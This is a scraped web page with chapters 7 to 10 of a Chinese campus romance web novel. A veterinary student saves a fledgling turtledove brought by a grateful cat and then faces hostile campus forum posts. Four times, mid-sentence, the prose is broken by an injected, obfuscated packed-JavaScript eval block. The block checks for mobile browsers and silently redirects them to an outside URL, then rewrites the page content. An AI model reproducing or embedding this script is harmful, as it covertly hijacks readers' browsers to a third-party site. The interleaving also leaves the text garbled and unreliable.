;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189041|197040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 午刚警告的舍友在揉着他中午刚摸过的弟弟的脑袋,并且,才对他说过害怕引起舍友争风吃醋的弟弟,正在对着舍友笑得一脸可爱。 肖承风瞳孔微微缩紧。 听见声音的曲柚扭过头看见他,像是收到惊吓一样突然从齐昊身边挪开一步。 好像什么被人撞破地下恋情的场景。 肖承风看着齐昊,原本冷淡的表情好像黑了一个度了。 曲柚,这就是你的处理办法? 为了不让哥哥和舍友争风吃醋,你选择了在中间端水? 卓正阳在门口肖神和这边俩人之间扭头来回看,怎么看怎么感觉气氛奇怪。 齐昊噗嗤一声笑了出来。 * 下午,天公翻脸比翻书快,一场瓢泼大雨下过,外面的空气都降温了几度。 A大动物医学专业授课楼。 上完最后一节动物生理学大课,曲柚合上笔记本,意犹未尽地往后多翻了几页,看了眼后面几章的内容。 他喜欢这些有关动物的医学知识,学习兽医专业课程对他来说,更像是上兴趣班。 学习那些大学生必备的高数微积分、基础物理和化学,对他来说才是真的不如上吊。 教室门口忽然传来些微的惊叫声。 曲柚顺着声音抬眼看过去,教室门口围了一大群人,人群慢慢涌动,朝着他的方向分散而来。 他看到不少人都举着手机对准地上的什么东西,一边走一边拍,还笑着说什么“好可爱”。 是小动物?曲柚也来了兴趣,他合上书,把笔记本和课本装进书包,转过来准备一起去凑热闹。 就看到人群在靠近他的时候慢慢散开,被人群围住的东西也露出了真面貌。 是一只高高翘着白色尾巴,有四只白爪爪的奶牛小猫! 哎,样子很眼熟啊。 小猫的目标好像十分准确,眼睛对准曲柚后,就盯着他直直走了过来。 同学们没有再靠过来,只是拍着小猫走向曲柚的视频。 “柚子,他来找你的啊?”有同学好奇地问。 大学校园里时不时会有小动物进教室,猫猫进教室听课的情况也有,但像这种目标明确地找一个人的小猫,还是很少见。 小猫灵巧的身躯一下跳上曲柚的前排座椅,然后再轻巧抬腿,就上了曲柚坐的这排座椅的桌面。 “好像是认识的猫。”男生笑起来,看着小猫,亮亮的眼睛满是温柔欣喜的笑意,看得人心里发软。 是他刚进学校那天救助的小猫,“咪宝?”是叫这个名字吧。 小猫的尾巴竖起来,尾巴尖轻轻弯曲,踩着猫步走到他面前,浑身都是放松的信息。 它低头在曲柚面前吐了个东西,然后端庄地靠在一边蹲坐着,舔了舔白爪子,看向男生打了个招呼。 “咪呜。” “哇!小猫给你抓了只鸟啊!”身边的同学们惊笑起来,“这是在给你投喂么?” 曲柚刚才就看到小猫嘴里好像叼着什么,现在定睛一看,没想到是只刚长了点毛的小鸟崽子!还在动的那种! 有同学凑了过来想看看是什么鸟,手机怼过来的瞬间,脸上带了白丁丁图案的小猫立马背着耳朵弓起背哈了一声。把人哈退后,又恢复优雅姿态,尾巴圈在端庄并拢的爪爪上,对着曲柚叫了一声。 “咪呜。” 好像在说:人类,接受我的投喂。 7. 你想让我救这只小鸟? 007/东山花灯 男生垂眸微笑着赞美小猫,浓密的睫毛羽扇般轻摇,在他眼睑下方映下一小片阴影,“哇,这是你带给我的礼物么?好厉害啊。” 曲柚伸出手,指尖稍稍往小猫跟前凑凑,奶牛猫探头闻了闻指尖,耳朵晃了晃,歪着头蹭蹭男生纤长的指节。 曲柚便顺理成章张开手心,把小猫的头罩住半个揉揉揉。 奶牛猫在男生掌心里歪头蹭了蹭,对曲柚慢慢眨了眨一只眼,圆滚滚的金眸黑瞳显得格外莹亮,有种玩偶娃娃的感觉。 一个女生凑到小猫旁边,惊讶道,“咪宝,原来你是来找干爹了啊!” 曲柚抬眼,面前微微弯着腰一脸惊喜笑意的女生也很眼熟。 女生对他笑道:“谢谢你啊学弟,之前你救了我的猫,后来我送猫去诊所,医生说当时的正骨救治很及时,不然错位的骨头长时间压迫神经大概率会造成残疾,即使后续再做正骨都会留后遗症。后来修养几天后他总是偷偷出去,很晚才回来。我也不知道他在外面干什么什么,没想到是找到你这里了。” 是之前开学那天,抱着小猫哭的稀里哗啦的女生。她真的很爱她的猫,曲柚想。 “今天下课也是我同学通知我,看见咪宝在这边,我才过来的。刚好看到他从瑶光楼边上的松树下叼了个东西,一路就奔着你这边过来了。” “没事的姐姐,小猫没事就好。”男生一笑,冷淡的气质被冲散,看着又软又乖。 “他给你叼了个小鸟,留在你这里没事吧?”女生看着桌上连站都站不起来的幼鸟,有些担忧。 “没事,我先去他捡到鸟的地方看看,放不回窝里的话,刚好我也知道一点怎么喂养小鸟,等大一点再放走就行。” “好的好的。”女生感到学弟太可靠了,她点点头,激动地握住小猫的尾巴轻摇。 被动尾巴的奶牛猫:? 趁着小猫回头按住女生手的空档,曲柚上手拢住桌面上颤巍巍的小鸟拿到自己身前,迅速看了一下鸟崽的状态。 小鸟身上的棕黄色的毛发湿乎乎的,粘成一缕一缕,身上的羽管还没褪干净,翅膀上的羽毛也有些稀疏,看起来是一只潦草小鸟。 小小的鸟头倒是长了个鼓胀的大黑嘴巴,幼鸟的喙磕在曲柚手指上,一点不疼,倒是小鸟的嘴巴被磕开一条缝。 小猫也凑过来,用鼻子闻闻幼鸟,又冲曲柚“咪呜”了一声。 “怎么,这猫是请你吃小鸟刺身么?”身边的同学开玩笑道。 曲柚看着小猫,摇摇头,“好像不是的。” 小猫见曲柚没反应,于是走上前两步,抬起一只爪子轻轻扒拉曲柚的一只手,将男生的手盖在小鸟身上。 曲柚福灵心至地问猫:“你想让我救这只小鸟?” 小猫又看着曲柚咪了一声。 身边围观拍照的同学们惊了,一人一句讨论起来,“哇,他被你帮助过,现在还知道帮小鸟找大夫了?” “好聪明啊。” “不会吧,我觉得这只猫就是来给恩人送礼物的,鸟在猫的食谱里,他怎么会想救食物?” 曲柚有些想笑,他继续跟小猫一本正经道:“想让我救小鸟也可以,我是要收诊金的,你给我什么?我不能白干啊。” 这段话既不是指令,也不是夸奖,按理来说小动物是理解不了的。但小奶牛猫听到后,低头盯着小鸟看了两秒,回头对身后看热闹的妈妈叫了一声。 原本在看热闹拍照的学姐疑惑:“怎么啦咪宝?” 小猫走过去扒拉女生的外套衣兜,山竹瓣似的爪爪想往兜里掏。 小猫主人一手拿着手机对准咪宝,一手去掏自己的衣服,“你要什么?我这里只有……” 女生看着从衣服兜里摸出的一根猫条,震惊地张开嘴,“啊?你怎么知道我这里有猫条的?我两天前揣兜里的,自己都忘了。” 小猫利索地叼住猫条,很小心地没有咬破,回身放在曲柚手边,小白爪子恰到好处地收起指甲,按在曲柚手上,对他咪了两声。 曲柚笑起来,收起那根猫条,温柔地对小猫道:“好的,你付的诊金我收到啦,小鸟就交给我,放心。” 奶牛小猫又对他“咪呜”了一声,低头蹭蹭他的指节,然后回身跳到主人怀里,把头埋进女生的胸口,不再露脸看周围的人。 周围同学低声“哇”起来,“好聪明的小猫,不是,柚子你怎么还跟猫无障碍交流上了?” 抱着猫的学姐还在惊讶中,她搂着小猫对面前和小猫无缝交流的漂亮男生,由衷谢道:“那就谢谢你了啊学弟。你真的好厉害!”各种意义上的。 “咪宝一般这样就是想让我抱他走了,那我们先走啦?小鸟放在你这里没事吧?” “没关系,小鸟先放在这里吧,我们这可是兽医专业,不会让小动物在这里出问题的。”曲柚对女生点点头,又对小猫打招呼,“咪宝再见啊~” 奶牛小猫扭过脸,对曲柚“喵”了一声,在众人惊叹声中,又把脑袋埋进妈妈怀里不动了。 女生抱着猫走后,其他人也围了过来。 之前看起来漂亮冷艳的曲柚同学,并没有他们想象中不好接近,刚才还那么温柔地对着小猫打招呼呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189042|197040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “哎?这看着像斑鸠幼鸟吧?”有同学凑过来看了看小鸟。 “嗯,应该是的。”曲柚捧着小鸟,低头想掏自己上衣兜,结果什么都没掏出来。 “给,要卫生纸吧?”一个同学递过来。 “啊对,谢谢!”曲柚抬头对递纸的同学笑笑,眼睛亮亮,露出一点洁白的贝齿,“太及时了婷婷!” 他低头用卫生纸包裹住幼鸟,先尽量吸干小鸟身上的水分,然后擦掉小鸟鼻孔处溢出的一些粘液。 “不客气。”武婷婷微微一笑,冷静地推推鼻梁上的眼镜,镜片反射出一道白光,退回人群中后捂了一下胸口。 啊,可爱。想rua。 曲柚心里有数,这只斑鸠幼鸟大概是下雨的时候被风雨刮下巢了,现在还有点感冒的症状。 现在就两个选择,要么赶紧把小鸟放回窝里,要么就得人工救助了。 但……曲柚垂眸看了一眼在他手里被卫生纸包裹成一小团还在轻轻发抖的小斑鸠。 他不太放心小鸟的情况。就算放回窝里,小鸟的生存率也不算高。 “走么柚子?不是要把它放回窝里?”班上的同学看起来比他还在意这只小鸟,催促他道,“我们跟你一起去吧,找找鸟窝。能放回巢里对这种幼鸟是最好的。” “是啊,人工喂养这么小的鸟,成功率太低了。”有同学附和。 曲柚也没说不行,点点头,给小鸟换了一张干爽的手纸重新包裹住,小小一团拢在手里,尽量给它一些温度。 “好啊,那麻烦你们一起帮忙找找看了,瑶光楼下的松树好多,我一个人可找不完。” 他笑着说,单肩背起书包,碰住小鸟跟着大家一起往外走。 “柚子,今天我才发现,你一点也不高冷啊~” “哎?为什么说我高冷,我从来没有啊。”曲柚一脸无辜。 “哈哈知道啦,柚宝真的很可爱!”有女生大胆地摸摸曲柚的小卷毛。 曲柚:⊙▽⊙虽然不知道为什么,但她夸我哎。 夏天日长,虽然已经五点半了,天色还是很亮。下过雨的大学校园内,散发着雨后的湿凉气息,清新又凉爽。 五六个学生们走成一团,说笑着往瑶光楼下走。有人鼓起勇气勾住曲柚的肩膀。 漂亮的男生双手拢着小鸟,并没有排斥搭在肩上的手,他和同学们说笑着,脸上是难得的开心。 这一幕,刚好落入了一个人眼里。 肖乘风看着和同学们迅速打成一片的曲柚,眸底淡淡,握在手里的鲜打橙汁冒着凉气,半晌转身离去。 8. 小猫报恩事件 008/东山花灯 一群人在瑶光楼下的两排松树上仔细看了半天,终于有人找到一个已经破碎了一半,摸起来潮湿的空巢。 松散的小树枝勉强围成的小窝,还挂着几缕被打湿的灰色细羽,就那么孤零零地斜挂在树杈上,看起来再来一阵大风就可以直接把这个小破巢整个掀翻。 发现鸟巢的男生一脸遗憾,也有些犹豫,“柚子,这边就这一棵树上有巢,它应该是从这里掉下来的,”他迟疑了一下,“这巢已经这样了,还放回去吗?” “放回去吧,母鸟之后回来还能继续养小的。”有同学说着,看看曲柚,“不然自己养活这么小的鸟太难了。” 其他人有些附和的,有些看起来有些犹豫,没说话,都看向曲柚。 曲柚看见这样的巢,下意识捂了捂手里的小鸟,摇了摇头,“巢穴已经被打散了,母斑鸠大概率不会回来了。”他垂眸看向手里的小斑鸠。 小鸟干燥后显得毛绒绒的小脑袋搭在他大拇指边上,一双黑亮的大眼睛毫无所觉地看着外面的世界,丝毫不知道自己的命运即将被几句话左右。 “母斑鸠被吓到就会弃巢,即使再回来,也是好几天以后了,这只小鸟可能今晚就会失温被冻死。” 但……小鸟怎么办,谁来养呢? 都是学动物医学的同学,哪儿会不知道养一只幼鸟的麻烦。 “你说的也是,但你要自己养么?”有同学挠挠头,有些困扰地看向他们之中最抓眼的那个人。 “要不,就把鸟放回去吧?也算尊重自然规律了。” 他们都是学生,照顾好自己的生活学习就不错了,哪里还有精力再负担一个小生命。 夕阳的金红色暖光温柔地笼罩着世间万物,曲柚的黑色卷发也被染上一层金边,显得格外柔软。他手中露了头的小鸟,毛绒绒的头羽也被暖光轻抚。 男生捧着小鸟沉默了几秒,垂下的浓密睫羽在眼睑下打落一片悲悯的温柔。 就在众人以为他会就此将小斑鸠放回树下时,男生抬起脸来,把小鸟举到胸口,对他们笑得明朗轻快,清透的眼睛被阳光映得金红:“也不算养啦,我带它几天就好,等它长大点就可以放归了!小鸟长得很快的!” 原本沉重的氛围被冲散,曲柚三言两语,就把大家低沉的情绪包甩出去了。 原本预想中很麻烦的事,在男生嘴里,好像是捎带手捞一把就能轻松解决的事。 同学们也松了口气,不用看到小鸟送死,又不用自己花时间精力照顾,实在是在两全其美。 “但是我需要一个能给小鸟保温的地方。”曲柚有些为难地看着手里的小东西。现在快傍晚了,不知道A大附近有没有卖保温箱的地方。 小斑鸠的嘴戳在他拇指上,带来轻轻的痒意。 “没事,我去借一个,上次在宿舍楼串门玩,我看到有个学长有闲置的保温箱来着。”一个同学拍着自己的胸口打包票,“肯定给小鸟搞个温暖的窝。” 曲柚惊喜地看向他,眼睛闪亮亮,露出崇拜的目光,“太好了!谢谢明浩!真是帮大忙了!” 美女哥感谢自己!李明浩顿时不自觉挺起胸膛,飘飘然道:“这算什么,待会儿吃完饭,我去学校静思亭边上抓点小虫子啥的,给小鸟加个餐!” “哦!有吃的啦!谢谢明浩大哥!”曲柚举起小鸟,捧在手心上下晃动,代替小鸟对同学道谢! “我可以从实验室摸根针管出来,如果小鸟吃不下虫子,可以先兑一点奶粉吃,我知道哪里有幼鸟奶粉,偷点,不是,我跟老师申请点就行。” “我有件旧衣服不穿了,剪一下可以给它铺窝。” 同学们七嘴八舌的,很快给小鸟凑齐了基本的生存条件。 曲柚被他们围在中间,听着大家的鼎力相助,心里暖暖地十分幸福。 他垂眸对着手心里安静不吭声的小鸟笑了笑,弯起眼睛,对周围同学表达谢意:“太好了!还好有你们,小斑鸠可以活下去了。”他举起手转着身子让小鸟看了一圈身边的同学,“小鸟,快谢谢哥哥姐姐们,他们可是你的救命恩人!” 斑鸠不吭声,但无人在意。 他们的目光都集中在那个一脸笑颜的漂亮男生身上。 他的目光灿如星月,温暖与快乐洋溢在他的脸上,让人轻易就会被他的快乐所感染。 好漂亮,也……好可爱! 武婷婷站在曲柚身边,心脏怦怦跳,她感觉此刻有一种极大的冲动充盈在她的胸膛!促使她抬起手,揉了揉曲柚的头发。 男生疑惑地看向她,桃花眼底有些迷茫。 武婷婷把手缩回来举在自己面前,伸出一个大拇指赞给曲柚看,“太棒了!” 曲柚笑眯眯地对她点点头,微卷的发丝随着他的动作轻晃。 女生心口狂跳,脸颊微红。妈妈,我好像找到我年久失散的儿子了! 有同学打开手机,比出“耶”的手势,迎着夕阳的光,给大家合拍了一张照片。 * A大校园论坛上,又一个帖子被顶上了前排。 【小猫报恩事件直播贴】 【前情提要:美女哥之前救过一只小猫,小猫今天叼着捡来的鸟前来报恩了。】 【目前已知可提供的情报:美女哥是兽医专业大一新生,叫曲柚(宝宝连名字都很可爱),貌似和金融系的校草肖是兄弟关系?有人听见曲柚叫他哥来着。所以人家俩举止亲密很正常,朋友们不用再兴奋了,是哥俩。】 【图:奶牛猫翘尾巴走向曲柚.jp ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189043|197040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' g】 【这只猫就是之前校园网那个火了的救小猫视频里的奶牛猫么?同一只猫?】 【目测是同一只,脸上的几把长得位置和大小都一样(比划)】 【谁能给我解释一下,一只猫是怎么从这么大校园里找到一个人的?不是作秀摆拍么?】 【小猫把嘴里的东西放在美女哥面前了,是只湿乎乎的……小鸟?感觉毛还没长齐,挺丑的】 【这是给恩人送礼物来了?】 【有道理,猫吃鸟,给人送鸟,就等于给人送食物】 【不是,在现场,猫想让美女哥救鸟】 【?你咋知道的,猫说话了?】 【不是啊,美女哥跟它交流的】 【是我癫了么,我怎么理解不了这句话】 【同样在现场,我来解释。柚子问猫是不是想让他救小鸟,是的话他得收诊金,然后小猫就找它的主人掏了一根猫条放柚子手边了……我们都看傻了】 【这什么当代德鲁伊(缓缓后仰)】 * 曲柚当天抱着同学给找的保温箱,里面装着老实缩成一团的小鹌鹑,手上拎的袋子里是同学们帮忙找的喂养小鸟的针筒和幼鸟奶粉及鸟粮,走到宿舍门口的时候才后知后觉的地想起来,他没和宿舍里的舍友们打招呼,就贸然带回来一只鸟,不知道会不会影响其他人。 他思考了一秒,想不到,直接推门进去。 “哥。”宿舍里别人还没回来,曲柚一眼就看见了坐在床下书桌前看书的肖承风。 男生套着黑T恤,一手拿着签字笔在纸面上写写画画,优越的背颈曲线让他看起来像一头蛰伏的大型猛兽。 肖承风扭头看向门口。 不等曲柚回话,他就走过去从男生手里接过保温箱和袋子,转身放在曲柚床铺下的桌面上,然后才回身问曲柚。 “要在宿舍养鸟么?” “这个,我刚想和你说呢,哥。” 曲柚期期艾艾走到肖承风边上,忽然看到竹马的桌上有一杯插了吸管的橙汁,桌面上已经积了一小滩水。 他盯着饮料,吞咽了一下干涩的喉咙,之前不觉得,现在看到新鲜的果汁,渴意突然变得明显起来。 肖承风见曲柚舔舔嘴唇,一副馋果汁的渴样,像小狗盯着水碗似的,心里又忽然一软,伸手拿过饮料递给曲柚。 “给我么?你不喝了?”小狗的眼神亮起来了,他明明已经把吸管举到嘴边了,还要看着他,等他给明确指令后才肯喝。 “买多了一杯,不想喝了。给你。” “哦!谢谢哥!热死了,真是救命了。”曲柚没多想,叼起吸管就吨吨喝。 肖承风从下午就淤堵在胸口的那团莫名的憋闷的气,忽然就散开了。 9. 你有什么想不开的 009/东山花灯 酸甜凉爽的橙汁吸入喉咙,滑入胃里,曲柚放松地依靠在宿舍中间的桌子边,呼出一口气,把书包从肩膀卸下来,整个人都放松下来。 竹马靠在对面的桌边看着自己,面上看不出什么情绪。 曲柚这才组织了一下语言,回想自己刚才想到的绝妙主意。 “哥,我想在宿舍养小鸟。”他凑近肖承风,讨好地对人笑,声音放软,“你也知道,我看不得这些小东西孤零零在外面的。” 肖承风抱臂看着曲柚,表情淡淡,“嗯,可以。” “是吧,我也是没办法,在宿舍养实在是太打扰大家,不如搬出……”曲柚顺口说出来,紧急刹车,一脸懵地盯着竹马,“嗯??” 不是,兄弟,你这么轻易就答应,让我怎么开展后续的表演啊? 肖承风听到了“搬”的字眼,喉头滚了一下,没吭声,继续盯着曲柚看,看他又想打什么主意。 他不知道曲柚为什么突然想搬出去,这个主意是谁给他的?又是谁在不断鼓动他搬走? 肖承风眼底有淡淡的冷意,总有人在试图拐骗单纯的曲柚,真是像苍蝇一样烦人。 虽然被竹马施法打断了前摇,但曲柚还是努力捡起话题继续。 “哥,是这样,我以前往家里放小动物就算了,毕竟咱俩都不觉得有什么,但这是学校宿舍,我们还得考虑其他舍友的感受吧?”曲柚谆谆教诲他的竹马。 “我觉得我们做事还是不要太自我。养这种小鸟需要隔几个小时喂一次,它可能还会大半夜乱叫,会很影响大家休息的。” 肖承风侧头看了一眼缩着脖子安静如鸡地窝在保温箱里鸟崽子。这东西,会乱叫? 曲柚看竹马没反驳,心想有戏。他按捺住即将成功的兴奋,压住嘴角,一脸无奈与歉意,“你也觉得是吧?我觉得要不然我就搬出去,和我们同学住到一个宿舍。都是兽医专业的,我看他们已经在宿舍养上小仓鼠了,还有养小猫的,特别可爱,也很热闹。。” “你觉得呢?我搬出去后也能和我们同学关系更融洽起来。”曲柚想着想着就笑了起来,“今天邀请我过去住的同学,他们宿舍刚好有个空位,他都让我过去看了,几个舍友都是我们班的。他们都说欢迎我过去。” “你问我的意见?”竹马的声音低沉,像是浓厚丝滑的天鹅绒。 曲柚点点头,心脏怦怦跳动,带着一股心虚和自己都不知道怎么回事的慌乱,努力让自己装成没事人的样子,笑着看向竹马。 “我觉得你在给养猫的送菜。”肖承风淡淡道,“那个养仓鼠的,早晚也被猫当成加餐。” 不等曲柚回话,肖承风侧身把保温箱插上电源,看着里面蹲着的小斑鸠被突然亮起的内置小灯吓得哆嗦了一下,下了结论:“不如直接在这里养,还不用搬宿舍,省事很多。” 曲柚眨眨眼睛:“……”精心思考的搬宿舍理由被竹马三言两语说得不值一提,他想挠头。 可恶,这个男人说得竟然该死的有道理。 “哇,这是什么?小鸟?”卓正阳从门口走进来,把书包甩进座椅,一脸惊奇地凑过来,隔着保温箱玻璃看里面的一小团。 “它长得好潦草啊哈哈,这毛怎么乱糟糟的,有棕有黄的。”卓正阳兴致勃勃地指着一声不出的小鹌鹑,给和他一起回来的齐昊看,一脸兴奋,“快来看,耗子,有小鸟!你看它长得好丑啊哈哈哈!” 齐昊过来看了一眼,不甚在意,“鸟小的时候长得都不好看。”他回到自己桌前对着镜子摘下耳钉,放进盒子里装好,拿了条床边搭着的毛巾准备去卫生间洗脸。 舍友们对鸟好像都不太感兴趣,曲柚一听这话觉得有戏,一脸歉意地对两位舍友道:“这是今天我捡回来的一只小鸟,它还没有独自捕食的能力,留在外面也活不了多久。” 他刚想继续说他打算搬出去和班上同学一起住,肖承风就开口了,“曲柚暂时在宿舍养它一段时间,这种鸟也不算吵,你们会觉得影响正常生活么?” 原本来一脸不好意思的男生顿时一把抓住肖承风的胳膊,睁大眼睛震惊地看他。 不是,哥们,你怎么问这么直接的? “不影响啊,一只小鸟影响什么,”卓正阳有点纳闷,“这又不是什么珍珠鸟,而且从我回来到现在,就没听这鸟叫过一声吧。小柚子想养就养呗。” “如果影响的话,我和曲柚就搬走。”肖承风按住曲柚的手,让他稍安勿躁,继续淡定道。 曲柚心尖一麻。他想,怎么又变成他和竹马一起搬走了,这人怎么还自说自话啊。 话音未落,卓正阳大惊失色,“什么?为什么!不要啊爹!是我做错了什么么!” 原本已经在厕所的齐昊也探出头来一脸震惊,“你有什么想不开的大家都可以商量,干嘛说这么伤感情的话!” 开玩笑,这是小组作业之父、期末复习能给他们划考点的大爹,他们怎么可能轻易放他走! “小柚子你也说句话啊!让你哥留下!”卓正阳拽了拽站在原地沉默的曲柚。 曲柚张了张嘴,又闭上了。他想不到自己还能说什么。 明明是他自己想搬走,结果现在不知道怎么回事就和竹马捆绑在一起了,好像一个走另一个也一定会跟着走一样。 肖承风看着他,唇角微挑,问其他两个舍友:“所以我们可以在宿舍养鸟是么?你们没意见?” 曲柚觉得自己耳根在隐隐发热,明明是自己要养的,怎么还变成“我们”了。坏人!竹马的目光是对他的嘲讽! 卓正阳急得要上蹿下跳,“这能有什么意见,不就是养鸟吗,你在这里头开个动物园我都没意见!” “你干什么我都没意见,但你要走我就意见很大了。”齐昊脸上还挂着洗面奶泡沫,一脸严肃地看着肖承风,说完后又打了个补丁,“当然,干我也不行。” 其他三人:“……” “好了,”肖承风揉了揉曲柚的发丝,“舍友都很通情达理,我们都可以不用搬走了。” 卓正阳和齐昊两人顿时松了口气,虚惊一场。 曲柚还能说什么呢。小狗努力微笑.jpg 有时候真的感觉他面对竹马无从下手。 在竹马面前耍什么心眼子都是无效的,除非竹马乐意陪他多玩会儿。 明明不喜欢男人,但对身为兄弟的自己却这么在意,眼珠子似的护着。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189044|197040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真的不能怪他想多啊。 * A大论坛又出新帖,但这次多了一些争纷的火药味。 【美女哥最新超绝美人氛围图,来洗眼!】 【夕阳下手捧小鸟垂眸的曲柚.jpg】 【手捧小鸟对着同学笑的曲柚.jpg】 【多图*9.jpg】 【宝宝,你是妈妈漂亮善良的宝宝。心软软】 【最近怎么到处都是他啊,烦不烦】 【这人什么来头,是想走先吸流量后出道那套流程吗?天天占用公共资源真讨厌啊,能不能别三天两天天天来学校论坛吹他那张脸】 【终于有人跟我一样的想法了,上次吐槽了几句还被人追着骂我是嫉妒他的丑男,呵呵】 【来学校作秀的么?救助个小猫小鸟看把他能的,找了一帮水军来吹他吧?吹一条5毛钱,这钱赚得也不容易吧?】 【能不能直接滚去微博出道啊,还学校论坛一片清净】 【真那么有本事,去开宠物医疗诊所啊,去上宠物救助综艺呗,来这里炫什么炫】 【有人扒一下这位什么来头么?怎么刚入学就搞得动静这么大?看这架势都要在论坛当明星了】 【一个男的长得不阴不阳的,还一堆没脑子的女的喊宝宝美女,真恶心】 【有人扒了,据可靠消息,这位从初中到高中,真实学习水平其实不咋样,还偏科,平时班内小考就是吊车尾成绩。但架不住有人给他补习,每次大考前都给他补,一补就能补到中上游水平。他娘的,这是请了多少辅导老师才能把吊车尾给补成中上游啊?】 【家里应该挺有钱的,这是硬补啊】 【呵呵,要是这种情况的话,他进A大也是找人补的喽?所以他真实水平其实根本就不配进这所高等学府!】 【哇,进来一看,屌丝喃的酸臭味太正了……搞笑,就算人家是补习的,也是人家自己考出来的。市面上那么多补习机构,是有人拦着你们不让你们补吗?搞不懂在那里优越什么】 …… 晚上,曲柚抱着高数书艰难复习完了当天的课程,正放松下来准备给小斑鸠喂食,手机突然“叮咚”一声,有人给他发消息。 他拿起手机一看,是班上的同学发给他的一条链接。 【小明一百岁:柚子,你是惹到谁了么?被人在论坛黑了】 武婷婷也给她发了一句话。 【走走婷婷:别看论坛】 嗯?怎么了?曲柚一头雾水,点开了李明浩发他的链接。 帖子很长,曲柚没有全部翻完,但他也看到了,有人在说他名不副实,考试是补习进来的之类的。 曲柚先回复了武婷婷。 【柚怎么了:是说这个帖子么?已经看完啦】 然后回复李明浩。 【柚怎么了:没有黑吧,这不是事实么】 曲柚正打着字,卓正阳一拍床板怒声道:“肖神!太可恶了,还有没有王法!咱弟弟被人给泼脏水啦!” 曲柚被吓得手一抖,蹲在他膝盖上的小斑鸠也被震了个屁墩,小小地“咕”了一声,茫然地抬头看看给它喂食的人,不明白发生了什么。 10. 他在乎我 010/东山花灯 曲柚下意识伸出一只手,迅速护在小鸟旁边。蓬松的羽毛轻轻贴在手心上,小斑鸠下意识往温暖的掌心蹭了蹭。 确认小鸟没事后,曲柚才抬起头看向一脸怒容的卓正阳,被人以恶意议论的正主反倒安慰他,“卓哥不用生气,我刚才看到论坛的帖子了,他们也没说什么,都是一些个人猜测而已。” 卓正阳看他一脸没事儿人的样子,就知道这孩子估计没细想,“柚子你不懂,不用安慰我,这事儿明摆着有人在后面故意搞事,不然不可能连你初中高中怎么样都被人扒出来了。” “怎么回事?”正在查论文资料的肖承风从桌前侧过身来,捏了捏眉心,眉眼间有点淡淡的倦色。 他的视线划过蹲在板凳上搂着鸟一脸“你们大惊小怪”的曲柚,直接看向卓正阳,“帖子发我。” 他从入学后就没上过几次校园论坛,印象中那上面不都是交易二手书和二手用品的信息吗,怎么还涉及到泼脏水了? 谁这么闲得无聊。 “这就发你。”卓正阳动作很快,手指在手机屏上戳了几下。 “哎,不用了……”曲柚伸出一只手在半空中,然而无人搭理他,只好又放下手,摸了摸鸟,“其实没什么好看的。”他小声嘟囔了一句。 无人搭理他。 他确实不觉得有什么必要让宿舍里的人都看一遍。有人喜欢他夸他,有人看他不爽,这不是很正常嘛。 还好齐昊不在宿舍。不然就是三个人对着喷他的帖子一起围观,曲柚真的会很尴尬。 话说他开学的这段时间,齐昊每天晚上回来得都很晚,基本上都是熄灯前半小时才回来。 小斑鸠用嘴戳戳他的手指,把他飘走的思绪拽回来。 曲柚恍然大悟,赶紧拿起吸好口粮的针管,一只手轻轻掰开小鸟的嘴,另一只手迅速把针管口挤进小鸟喉咙里,慢慢推塞子。 算了,他还是先喂鸟吧。 复杂的事情就交给他哥看着办吧。 曲柚控制着推针管的速度,让小鸟慢慢吃下一管口粮。 小斑鸠估计也是饿了,从下午滚落下巢穴就没开口吃过一点东西,此时蹲在曲柚并拢的□□仰着小脑袋努力吞咽食物,求生欲望十分旺盛。 卓正阳从床铺三两下爬下来,拉了自己桌下的转椅一扭送到肖承风旁边,举着手机凑到他跟前对他嘀咕,“你看你看,就是这几个账号先说的,感觉不太对劲。” 有时候别人光明正大说话还没什么,一旦有人开始小声说话,尤其是那种若隐若现的小声交流,曲柚的好奇心就会被勾起来。 他抬眼扫了一眼那边的俩人。 卓正阳的椅子和竹马的椅子并排,他斜靠到竹马身侧,握着手机伸过去让对方看。两人几乎就是贴在一起的状态。 曲柚还来不及生出什么别的想法,竹马就有动作了。 